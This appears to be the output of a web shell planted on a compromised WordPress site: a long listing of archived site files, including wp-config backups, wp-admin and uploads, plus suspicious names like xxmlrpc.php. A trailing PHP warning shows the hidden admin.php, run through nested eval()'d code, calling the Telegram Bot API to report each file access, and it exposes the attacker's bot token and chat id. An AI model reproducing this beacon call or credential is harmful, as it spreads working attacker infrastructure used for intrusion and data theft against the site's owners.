themeisle-companion.tar.gz File 794.39 KB 0604
themeisle-companion.zip File 2.8 MB 0604
themes-rtl.css.tar File 42.5 KB 0604
themes-rtl.css.tar.gz File 8.12 KB 0604
themes-rtl.min.css.tar File 33.5 KB 0604
themes-rtl.min.css.tar.gz File 6.25 KB 0604
themes.css.tar File 84 KB 0604
themes.css.tar.gz File 8.1 KB 0604
themes.min.css.tar File 66 KB 0604
themes.min.css.tar.gz File 6.26 KB 0604
themes.tar File 13.71 MB 0604
themes.tar.gz File 44.45 KB 0604
themes.zip File 19.82 MB 0604
thesaurus.class.php.tar File 12 KB 0604
thesaurus.class.php.tar.gz File 2.43 KB 0604
thickbox.tar File 18.5 KB 0604
thickbox.tar.gz File 4.85 KB 0604
thickbox.zip File 15.9 KB 0604
tinyMCE_interface.js.tar File 3 KB 0604
tinyMCE_interface.js.tar.gz File 539 B 0604
tinymce.tar File 872 KB 0604
tinymce.tar.gz File 207.06 KB 0604
tinymce.zip File 820.85 KB 0604
tipsy.tar File 6.5 KB 0604
tipsy.tar.gz File 1.75 KB 0604
tipsy.zip File 5.02 KB 0604
title.php.tar File 2 KB 0604
title.php.tar.gz File 237 B 0604
titres_uniformes.inc.php.tar File 5.5 KB 0604
titres_uniformes.inc.php.tar.gz File 1.33 KB 0604
titres_uniformes.tar File 13 KB 0604
titres_uniformes.tar.gz File 3.31 KB 0604
titres_uniformes.zip File 10.7 KB 0604
tmb.tar.gz File 131.77 KB 0604
tmp.tar File 1.3 MB 0604
tmp.tar.gz File 6.29 KB 0604
tmp.zip File 1.34 MB 0604
toast.css.tar File 7 KB 0604
toast.css.tar.gz File 2.68 KB 0604
tools.tar File 4.5 KB 0604
tools.tar.gz File 1.15 KB 0604
tools.zip File 2.41 KB 0604
toolset-config.json.tar File 8.5 KB 0604
toolset-config.json.tar.gz File 904 B 0604
top_1775690316.zip File 278.54 KB 0604
tr_TR.tar File 5.5 KB 0604
tr_TR.tar.gz File 578 B 0604
tr_TR.zip File 2.94 KB 0604
tracking.zip File 31.28 KB 0604
traduction.php.tar File 2 KB 0604
traduction.php.tar.gz File 409 B 0604
traits.tar File 30.5 KB 0604
traits.tar.gz File 5.17 KB 0604
traits.zip File 32.18 KB 0604
transaction.class.php.tar File 6 KB 0604
transaction.class.php.tar.gz File 1.49 KB 0604
transaction.tar File 12.5 KB 0604
transaction.tar.gz File 1.95 KB 0604
transaction.tpl.php.tar File 4 KB 0604
transaction.tpl.php.tar.gz File 1017 B 0604
transaction.zip File 9.62 KB 0604
transaction_list.class.php.tar File 4.5 KB 0604
transaction_list.class.php.tar.gz File 1.04 KB 0604
transfert.class.php.tar File 47 KB 0604
transfert.class.php.tar.gz File 7.84 KB 0604
transferts.tar File 6.5 KB 0604
transferts.tar.gz File 1.42 KB 0604
transferts.zip File 4.42 KB 0604
transferts_popup.php.tar File 5 KB 0604
transferts_popup.php.tar.gz File 1.43 KB 0604
translation.class.php.tar File 6 KB 0604
translation.class.php.tar.gz File 1.61 KB 0604
transport.tar File 9.5 KB 0604
transport.tar.gz File 1.52 KB 0604
transport.zip File 7.08 KB 0604
ttf2ufm-src.tar File 117 KB 0604
ttf2ufm-src.tar.gz File 37.13 KB 0604
ttf2ufm-src.zip File 112.9 KB 0604
ttf2ufm.exe.tar File 253.5 KB 0604
ttf2ufm.exe.tar.gz File 108.86 KB 0604
ttf2ufm.tar File 369.5 KB 0604
ttf2ufm.tar.gz File 146.81 KB 0604
ttf2ufm.zip File 365.17 KB 0604
ttw.zip File 21.34 KB 0604
tva_achats.class.php.tar File 5.5 KB 0604
tva_achats.class.php.tar.gz File 1.14 KB 0604
twentynineteen.zip File 767.16 KB 0604
twentytwenty.zip File 1.64 MB 0604
twentytwentyfive-fr_FR.l10n.php.tar File 49 KB 0604
twentytwentyfive-fr_FR.l10n.php.tar.gz File 15.02 KB 0604
twentytwentyfive.tar File 5.87 MB 0604
twentytwentyfive.tar.gz File 5.33 MB 0604
twentytwentyfive.zip File 5.78 MB 0604
twentytwentyfour-fr_FR.l10n.php.tar File 30 KB 0604
twentytwentyfour-fr_FR.l10n.php.tar.gz File 8.74 KB 0604
twentytwentyfour.tar File 2.29 MB 0604
twentytwentyfour.tar.gz File 2.06 MB 0604
twentytwentyfour.zip File 2.26 MB 0604
twentytwentyone.zip File 906.04 KB 0604
twentytwentythree.tar File 1.44 MB 0604
twentytwentythree.tar.gz File 1.36 MB 0604
twentytwentythree.zip File 1.53 MB 0604
twentytwentytwo.tar File 68.5 KB 0604
twentytwentytwo.tar.gz File 37.9 KB 0604
twentytwentytwo.zip File 187.62 KB 0604
twig.tar File 825 KB 0604
twig.tar.gz File 126.19 KB 0604
twig.zip File 703.07 KB 0604
twitter.zip File 13.21 KB 0604
txn.tar File 77.5 KB 0604
txn.tar.gz File 24.3 KB 0604
txn.zip File 75.87 KB 0604
type.inc.php.tar File 2 KB 0604
type.inc.php.tar.gz File 386 B 0604
types.tar File 4 KB 0604
types.tar.gz File 618 B 0604
types.zip File 3.98 KB 0604
typography.tar File 43.5 KB 0604
typography.tar.gz File 2.7 KB 0604
typography.zip File 38.57 KB 0604
ui.tar File 4 KB 0604
ui.tar.gz File 999 B 0604
ui.zip File 165.57 KB 0604
uni_bleu.css.tar File 22.5 KB 0604
uni_bleu.css.tar.gz File 4.72 KB 0604
uni_bleu.tar File 34 KB 0604
uni_bleu.tar.gz File 6.52 KB 0604
uni_bleu.zip File 28.75 KB 0604
update.gif.tar File 6 KB 0604
update.gif.tar.gz File 1.47 KB 0604
upgrade.tar File 18 KB 0604
upgrade.tar.gz File 6.3 KB 0604
upgrade.zip File 222.81 KB 0604
upload.js.tar File 5 KB 0604
upload.js.tar.gz File 1.24 KB 0604
upload_folder_storage.class.php.tar File 6 KB 0604
upload_folder_storage.class.php.tar.gz File 1.41 KB 0604
uploads-20260621052213.tar File 11.07 MB 0604
uploads-20260621052213.tar.gz File 9.24 MB 0604
uploads-20260621052213.zip File 11 MB 0604
uploads.tar File 13.21 MB 0604
uploads.tar.gz File 111.38 KB 0604
uploads.zip File 13.28 MB 0604
usage.tar File 3 KB 0604
usage.tar.gz File 523 B 0604
usage.zip File 3.94 KB 0604
user-meta.tar File 0 B 0604
user-meta.tar.gz File 1.89 KB 0604
user-meta.zip File 44.29 KB 0604
user.php.tar File 22 KB 0604
user.php.tar.gz File 2.74 KB 0604
users.zip File 23.51 KB 0604
util.zip File 34.46 KB 0604
utils.php.tar File 25.5 KB 0604
utils.php.tar.gz File 6.99 KB 0604
utils.tar File 111 KB 0604
utils.tar.gz File 24.33 KB 0604
utils.zip File 358.18 KB 0604
v1.tar File 753 KB 0604
v1.tar.gz File 1.27 KB 0604
v1.zip File 749.37 KB 0604
v2.tar File 112 KB 0604
v2.tar.gz File 33.42 KB 0604
v2.zip File 217.55 KB 0604
v3.tar File 1.68 MB 0604
v3.tar.gz File 33.44 KB 0604
v3.zip File 1.68 MB 0604
v8.tar File 493 KB 0604
v8.tar.gz File 104.56 KB 0604
v8.zip File 534.71 KB 0604
values.tar File 9.5 KB 0604
values.tar.gz File 1.64 KB 0604
values.zip File 58.34 KB 0604
variables-site.zip File 429 B 0604
variables.tar File 41 KB 0604
variables.tar.gz File 5.44 KB 0604
variables.zip File 30.04 KB 0604
vedette.tar File 161.5 KB 0604
vedette.tar.gz File 8.94 KB 0604
vedette.zip File 138.05 KB 0604
vedette_authors.class.php.tar File 4 KB 0604
vedette_authors.class.php.tar.gz File 442 B 0604
vedette_authors_ui.class.php.tar File 3 KB 0604
vedette_authors_ui.class.php.tar.gz File 592 B 0604
vedette_authpersos.class.php.tar File 4 KB 0604
vedette_authpersos.class.php.tar.gz File 599 B 0604
vedette_authpersos.tpl.php.tar File 0 B 0604
vedette_authpersos.tpl.php.tar.gz File 1.44 KB 0604
vedette_authpersos_ui.class.php.tar File 3 KB 0604
vedette_authpersos_ui.class.php.tar.gz File 649 B 0604
vedette_cache.class.php.tar File 3.5 KB 0604
vedette_cache.class.php.tar.gz File 736 B 0604
vedette_categories.class.php.tar File 4 KB 0604
vedette_categories.class.php.tar.gz File 445 B 0604
vedette_categories_ui.class.php.tar File 3 KB 0604
vedette_categories_ui.class.php.tar.gz File 592 B 0604
vedette_collections_ui.class.php.tar File 3 KB 0604
vedette_collections_ui.class.php.tar.gz File 591 B 0604
vedette_composee.class.php.tar File 31.5 KB 0604
vedette_composee.class.php.tar.gz File 3.94 KB 0604
vedette_concepts.class.php.tar File 2.5 KB 0604
vedette_concepts.class.php.tar.gz File 550 B 0604
vedette_concepts.tpl.php.tar File 9 KB 0604
vedette_concepts.tpl.php.tar.gz File 1.48 KB 0604
vedette_concepts_ui.class.php.tar File 3 KB 0604
vedette_concepts_ui.class.php.tar.gz File 587 B 0604
vedette_element.class.php.tar File 8 KB 0604
vedette_element.class.php.tar.gz File 1.16 KB 0604
vedette_element_ui.class.php.tar File 2.5 KB 0604
vedette_element_ui.class.php.tar.gz File 514 B 0604
vedette_indexint.class.php.tar File 2.5 KB 0604
vedette_indexint.class.php.tar.gz File 489 B 0604
vedette_indexint.tpl.php.tar File 9 KB 0604
vedette_indexint.tpl.php.tar.gz File 1.42 KB 0604
vedette_indexint_ui.class.php.tar File 3 KB 0604
vedette_indexint_ui.class.php.tar.gz File 588 B 0604
vedette_link.class.php.tar File 4.5 KB 0604
vedette_link.class.php.tar.gz File 1.02 KB 0604
vedette_publishers.class.php.tar File 4 KB 0604
vedette_publishers.class.php.tar.gz File 529 B 0604
vedette_publishers_ui.class.php.tar File 3 KB 0604
vedette_publishers_ui.class.php.tar.gz File 589 B 0604
vedette_records.class.php.tar File 4 KB 0604
vedette_records.class.php.tar.gz File 486 B 0604
vedette_records.tpl.php.tar File 9 KB 0604
vedette_records.tpl.php.tar.gz File 1.43 KB 0604
vedette_records_ui.class.php.tar File 3 KB 0604
vedette_records_ui.class.php.tar.gz File 588 B 0604
vedette_series.class.php.tar File 2.5 KB 0604
vedette_series.class.php.tar.gz File 435 B 0604
vedette_series.tpl.php.tar File 9 KB 0604
vedette_series.tpl.php.tar.gz File 1.43 KB 0604
vedette_subcollections.class.php.tar File 2.5 KB 0604
vedette_subcollections.class.php.tar.gz File 443 B 0604
vedette_subcollections_ui.class.php.tar File 3 KB 0604
vedette_subcollections_ui.class.php.tar.gz File 0 B 0604
vedette_titres_uniformes.class.php.tar File 2.5 KB 0604
vedette_titres_uniformes.class.php.tar.gz File 447 B 0604
vedette_titres_uniformes_ui.class.php.tar File 3 KB 0604
vedette_titres_uniformes_ui.class.php.tar.gz File 596 B 0604
vedette_ui.class.php.tar File 9.5 KB 0604
vedette_ui.class.php.tar.gz File 1.85 KB 0604
vendor.tar File 5.58 MB 0604
vendor.tar.gz File 473.45 KB 0604
vendor.zip File 5.4 MB 0604
vendor_prefixed.tar File 1.28 MB 0604
vendor_prefixed.tar.gz File 81.48 KB 0604
vendor_prefixed.zip File 1.47 MB 0604
vert.css.tar File 21 KB 0604
vert.css.tar.gz File 4.44 KB 0604
vert.tar File 29 KB 0604
vert.tar.gz File 5.51 KB 0604
vert.zip File 24.21 KB 0604
vert_et_parme.tar File 31 KB 0604
vert_et_parme.tar.gz File 6.77 KB 0604
vert_et_parme.zip File 27.52 KB 0604
vertsaintdenis.css.tar File 126 KB 0604
vertsaintdenis.css.tar.gz File 0 B 0604
vertsaintdenis.tar File 194 KB 0604
vertsaintdenis.tar.gz File 34.26 KB 0604
vertsaintdenis.zip File 189.38 KB 0604
vexv.tar File 9.5 KB 0604
vexv.tar.gz File 2.25 KB 0604
vexv.zip File 7.98 KB 0604
view.php.tar File 10.5 KB 0604
view.php.tar.gz File 573 B 0604
views.tar File 210.5 KB 0604
views.tar.gz File 1.56 KB 0604
views.zip File 244.07 KB 0604
visionneuse.class.php.tar File 9.5 KB 0604
visionneuse.class.php.tar.gz File 2.58 KB 0604
visionneuse.css.tar File 23 KB 0604
visionneuse.css.tar.gz File 621 B 0604
visionneuse.js.tar File 5.5 KB 0604
visionneuse.js.tar.gz File 1.12 KB 0604
visionneuse.tar File 33 KB 0604
visionneuse.tar.gz File 7.28 KB 0604
visionneuse.zip File 29.19 KB 0604
voxilab.tar File 30.5 KB 0604
voxilab.tar.gz File 4.19 KB 0604
voxilab.zip File 25.58 KB 0604
voxilabDiarization.class.php.tar File 0 B 0604
voxilabDiarization.class.php.tar.gz File 1.74 KB 0604
voxilabHttp.class.php.tar File 6.5 KB 0604
voxilabHttp.class.php.tar.gz File 1.87 KB 0604
voxilabProtocol.class.php.tar File 4.5 KB 0604
voxilabProtocol.class.php.tar.gz File 1.34 KB 0604
voxilabSegment.class.php.tar File 0 B 0604
voxilabSegment.class.php.tar.gz File 1.69 KB 0604
voxilabSpeaker.class.php.tar File 5.5 KB 0604
voxilabSpeaker.class.php.tar.gz File 1.64 KB 0604
voxilabSpeechfile.class.php.tar File 8 KB 0604
voxilabSpeechfile.class.php.tar.gz File 2.13 KB 0604
watch.tar File 3 KB 0604
watch.tar.gz File 729 B 0604
watch.zip File 1.59 KB 0604
watchers.tar File 9.5 KB 0604
watchers.tar.gz File 2.18 KB 0604
watcheslist.tar File 22.5 KB 0604
watcheslist.tar.gz File 3.05 KB 0604
watcheslist.zip File 17.51 KB 0604
wbddf.tar File 1.62 MB 0604
wbddf.tar.gz File 111.34 KB 0604
wbddf.zip File 1.62 MB 0604
widget.tar File 11.5 KB 0604
widget.tar.gz File 3 KB 0604
widget.zip File 10.01 KB 0604
widget_area_1775544288.zip File 152.25 KB 0604
widget_area_1775574980.zip File 150.73 KB 0604
widgets-rtl.css.tar File 37 KB 0604
widgets-rtl.css.tar.gz File 4.07 KB 0604
widgets-rtl.min.css.tar File 16 KB 0604
widgets-rtl.min.css.tar.gz File 3.39 KB 0604
widgets.css.tar File 37 KB 0604
widgets.css.tar.gz File 4.04 KB 0604
widgets.min.css.tar File 16 KB 0604
widgets.min.css.tar.gz File 3.38 KB 0604
widgets.tar File 2 MB 0604
widgets.tar.gz File 180.18 KB 0604
widgets.zip File 2.01 MB 0604
wincher.zip File 11.1 KB 0604
woocommerce-rtl.css.tar File 50 KB 0604
woocommerce-rtl.css.tar.gz File 3.84 KB 0604
woocommerce.css.tar File 123.5 KB 0604
woocommerce.css.tar.gz File 3.84 KB 0604
wordpress-importer.zip File 18.44 KB 0604
wordpress-seo.tar File 5.86 MB 0604
wordpress-seo.tar.gz File 0 B 0604
wordpress-seo.zip File 8.84 MB 0604
wordpress.zip File 11.91 KB 0604
workflow.class.php.tar File 8 KB 0604
workflow.class.php.tar.gz File 1.59 KB 0604
wp-admin-20260529230927-20260621143653.tar File 5.79 MB 0604
wp-admin-20260529230927-20260621143653.tar.gz File 1.11 MB 0604
wp-admin-20260529230927-20260621143653.zip File 5.69 MB 0604
wp-admin-20260529230927.zip File 51.03 MB 0604
wp-admin.css.tar File 3 KB 0604
wp-admin.css.tar.gz File 248 B 0604
wp-admin.min.css.tar File 2 KB 0604
wp-admin.min.css.tar.gz File 278 B 0604
wp-admin.zip File 40.92 MB 0604
wp-api.php.tar File 3 KB 0604
wp-api.php.tar.gz File 673 B 0604
wp-blog-header-20260608000932.php.tar File 2 KB 0604
wp-blog-header-20260608000932.php.tar.gz File 337 B 0604
wp-cli.tar File 8 KB 0604
wp-cli.tar.gz File 1.66 KB 0604
wp-cli.zip File 16.14 KB 0604
wp-config-20260529060810.php.tar File 5.5 KB 0604
wp-config-20260529060810.php.tar.gz File 2.11 KB 0604
wp-config-20260622063703.php.tar File 5.5 KB 0604
wp-config-20260622063703.php.tar.gz File 2.11 KB 0604
wp-config.php.tar File 38.5 KB 0604
wp-config.php.tar.gz File 2.12 KB 0604
wp-content-20260529152145-20260621215028.zip File 44.41 MB 0604
wp-content.tar File 48.78 MB 0604
wp-content.tar.gz File 18.65 MB 0604
wp-content.zip File 133.06 MB 0604
wp-file-manager-pro.tar File 1.29 MB 0604
wp-file-manager-pro.tar.gz File 740.96 KB 0604
wp-file-manager-pro.zip File 1.28 MB 0604
wp-file-manager.zip File 4.03 MB 0604
wp-includes-20260621215820.tar File 3.66 MB 0604
wp-includes-20260621215820.tar.gz File 1.19 MB 0604
wp-includes-20260621215820.zip File 3.65 MB 0604
wp-includes.tar File 3.66 MB 0604
wp-includes.tar.gz File 1.19 MB 0604
wp-includes.zip File 3.65 MB 0604
wp-mailrpc.php.tar File 41 KB 0604
wp-mailrpc.php.tar.gz File 12.88 KB 0604
wp-rest.tar File 7.5 KB 0604
wp-rest.tar.gz File 1.41 KB 0604
wp-rest.zip File 5.52 KB 0604
wp-settings-20260529222804.php.tar File 30 KB 0604
wp-settings-20260529222804.php.tar.gz File 5.91 KB 0604
wpml-config.xml.tar File 4 KB 0604
wpml-config.xml.tar.gz File 490 B 0604
wptt.tar File 23.5 KB 0604
wptt.tar.gz File 5.58 KB 0604
wptt.zip File 21.45 KB 0604
wrapper-part.php.tar File 2.5 KB 0604
wrapper-part.php.tar.gz File 436 B 0604
wrapper.php.tar File 8 KB 0604
wrapper.php.tar.gz File 1.39 KB 0604
wrappers.tar File 4.5 KB 0604
wrappers.tar.gz File 986 B 0604
wrappers.zip File 2.47 KB 0604
writeexcel.tar File 239 KB 0604
writeexcel.tar.gz File 46.68 KB 0604
writeexcel.zip File 233.25 KB 0604
xxmlrpc-20260529112926-20260618082814.php.tar File 3 KB 0604
xxmlrpc-20260529112926-20260618082814.php.tar.gz File 666 B 0604
xxmlrpc-20260529112926-20260622044649.php.tar File 3 KB 0604
xxmlrpc-20260529112926-20260622044649.php.tar.gz File 665 B 0604
xxmlrpc-20260529112926.php.tar File 3 KB 0604
xxmlrpc-20260529112926.php.tar.gz File 658 B 0604
xxmlrpc.php.tar File 5 KB 0604
xxmlrpc.php.tar.gz File 667 B 0604
xymxf.tar File 5 KB 0604
xymxf.tar.gz File 1.26 KB 0604
xymxf.zip File 3.61 KB 0604
xzypi.tar File 4.5 KB 0604
xzypi.tar.gz File 1015 B 0604
xzypi.zip File 2.8 KB 0604
yarn.lock.tar File 683.5 KB 0604
yarn.lock.tar.gz File 264.04 KB 0604
yhos.tar File 4.5 KB 0604
yhos.tar.gz File 1015 B 0604
yhos.zip File 2.8 KB 0604
zen.css.tar File 9 KB 0604
zen.css.tar.gz File 1.95 KB 0604
zen.tar File 232 KB 0604
zen.tar.gz File 38.07 KB 0604
zen.zip File 225.34 KB 0604
zen_color_pre_set.css.tar File 12.5 KB 0604
zen_color_pre_set.css.tar.gz File 1.47 KB 0604
zen_one.css.tar File 10 KB 0604
zen_one.css.tar.gz File 2.2 KB 0604
zen_one.tar File 251.5 KB 0604
zen_one.tar.gz File 42.36 KB 0604
zen_one.zip File 243.41 KB 0604
zonepageo_a.css.tar File 6 KB 0604
zonepageo_a.css.tar.gz File 848 B 0604
zzen_responsive.css.tar File 53.5 KB 0604
zzen_responsive.css.tar.gz File 8.98 KB 0604

Warning: file_get_contents(https://api.telegram.org/bot6480565468:AAHPgwqvr55vU-lBvGV23jlYJuGCrOCL4XM/sendMessage?chat_id=1722171889&text=File+accessed%3A+http%3A%2F%2Fwww.eliteafrique.com%2Fwp-includes%2Fl10n%2Fcss%2Fv3%2Fwbddf%2Fadmin.php%3Fdir%3D%252Fhome%252Feliteafr%252Fwww%252Finc%252Flogin-logo%252Fcss%252Farchive%252Fhxwdw%26read%3D%252Fhome%252Feliteafr%252Fwww%252Finc%252Flogin-logo%252Fcss%252Farchive%252Fhxwdw%252Fsrc.tar): Failed to open stream: HTTP request failed! HTTP/1.1 429 Too Many Requests in /home/eliteafr/www/wp-includes/l10n/css/v3/wbddf/admin.php(112993) : eval()'d code(18150) : eval()'d code on line 2024